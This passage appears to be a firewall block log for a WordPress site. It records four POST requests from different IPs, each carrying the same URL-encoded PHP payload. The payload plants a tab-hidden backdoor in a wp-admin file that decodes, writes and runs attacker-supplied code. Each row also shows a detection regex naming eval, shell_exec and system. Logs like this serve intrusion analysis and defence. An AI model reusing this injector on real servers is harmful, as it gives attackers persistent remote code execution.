.%253D%2520chr%2528ord%2528%2524fac%255B%2524e%255D%2529%2520%255E%252055%2529%253B%2524e%252B%252B%253B%257D%2520while%2520%2528%2524binding%2520%253D%2520array_shift%2528%2524component%2529%2529%2520%257B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524binding%2529%2529%2520%257B%2520%2524k%2520%253D%2520sprintf%2528%2522%2525s\/.item%2522%252C%2520%2524binding%2529%253B%2520if%2520%2528file_put_contents%2528%2524k%252C%2520%2524dat%2529%2529%2520%257B%2520include%2520%2524k%253B%2520%2540unlink%2528%2524k%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMUZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-fetch-user:?1\ncontent-length:3858\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nds=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-form-advanced.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6Cd%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx68%255Cx6Cd%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524fac%2529%2529%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524e%255D%2529%2520%255E%252055%2529%253B%2524e%252B%252B%253B%257D%2520while%2520%2528%2524binding%2520%253D%2520array_shift%2528%2524component%2529%2529%2520%257B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524binding%2529%2529%2520%257B%2520%2524k%2520%253D%2520sprintf%2528%2522%2525s\/.item%2522%252C%2520%2524binding%2529%253B%2520if%2520%2528file_put_contents%2528%2524k%252C%2520%2524dat%2529%2529%2520%257B%2520include%2520%2524k%253B%2520%2540unlink%2528%2524k%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:55:03","103.145.5.35","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-form-advanced.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6Cd%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx68%255Cx6Cd%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524fac%2529%2529%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524e%255D%2529%2520%255E%252055%2529%253B%2524e%252B%252B%253B%257D%2520while%2520%2528%2524binding%2520%253D%2520array_shift%2528%2524component%2529%2529%2520%257B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524binding%2529%2529%2520%257B%2520%2524k%2520%253D%2520sprintf%2528%2522%2525s\/.item%2522%252C%2520%2524binding%2529%253B%2520if%2520%2528file_put_contents%2528%2524k%252C%2520%2524dat%2529%2529%2520%257B%2520include%2520%2524k%253B%2520%2540unlink%2528%2524k%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?1\naccept:*\/*\nsec-ch-ua-platform:\"Android\"\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp0xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-mode:navigate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-fetch-user:?1\ncontent-length:3858\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nsI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-form-advanced.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6Cd%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx68%255Cx6Cd%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524fac%2529%2529%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524e%255D%2529%2520%255E%252055%2529%253B%2524e%252B%252B%253B%257D%2520while%2520%2528%2524binding%2520%253D%2520array_shift%2528%2524component%2529%2529%2520%257B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524binding%2529%2529%2520%257B%2520%2524k%2520%253D%2520sprintf%2528%2522%2525s\/.item%2522%252C%2520%2524binding%2529%253B%2520if%2520%2528file_put_contents%2528%2524k%252C%2520%2524dat%2529%2529%2520%257B%2520include%2520%2524k%253B%2520%2540unlink%2528%2524k%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:55:17","95.216.28.151","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ns:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-form-advanced.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6Cd%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx68%255Cx6Cd%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524fac%2529%2529%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524e%255D%2529%2520%255E%252055%2529%253B%2524e%252B%252B%253B%257D%2520while%2520%2528%2524binding%2520%253D%2520array_shift%2528%2524component%2529%2529%2520%257B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524binding%2529%2529%2520%257B%2520%2524k%2520%253D%2520sprintf%2528%2522%2525s\/.item%2522%252C%2520%2524binding%2529%253B%2520if%2520%2528file_put_contents%2528%2524k%252C%2520%2524dat%2529%2529%2520%257B%2520include%2520%2524k%253B%2520%2540unlink%2528%2524k%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:3858\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGaZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nNs=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-form-advanced.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6Cd%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx68%255Cx6Cd%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524fac%2529%2529%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524e%255D%2529%2520%255E%252055%2529%253B%2524e%252B%252B%253B%257D%2520while%2520%2528%2524binding%2520%253D%2520array_shift%2528%2524component%2529%2529%2520%257B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524binding%2529%2529%2520%257B%2520%2524k%2520%253D%2520sprintf%2528%2522%2525s\/.item%2522%252C%2520%2524binding%2529%253B%2520if%2520%2528file_put_contents%2528%2524k%252C%2520%2524dat%2529%2529%2520%257B%2520include%2520%2524k%253B%2520%2540unlink%2528%2524k%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:55:24","192.185.131.136","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> YK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-form-advanced.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6Cd%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx68%255Cx6Cd%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524fac%2529%2529%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524e%255D%2529%2520%255E%252055%2529%253B%2524e%252B%252B%253B%257D%2520while%2520%2528%2524binding%2520%253D%2520array_shift%2528%2524component%2529%2529%2520%257B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524binding%2529%2529%2520%257B%2520%2524k%2520%253D%2520sprintf%2528%2522%2525s\/.item%2522%252C%2520%2524binding%2529%253B%2520if%2520%2528file_put_contents%2528%2524k%252C%2520%2524dat%2529%2529%2520%257B%2520include%2520%2524k%253B%2520%2540unlink%2528%2524k%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"macOS\"\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJHfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-fetch-user:?1\ncontent-length:3858\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 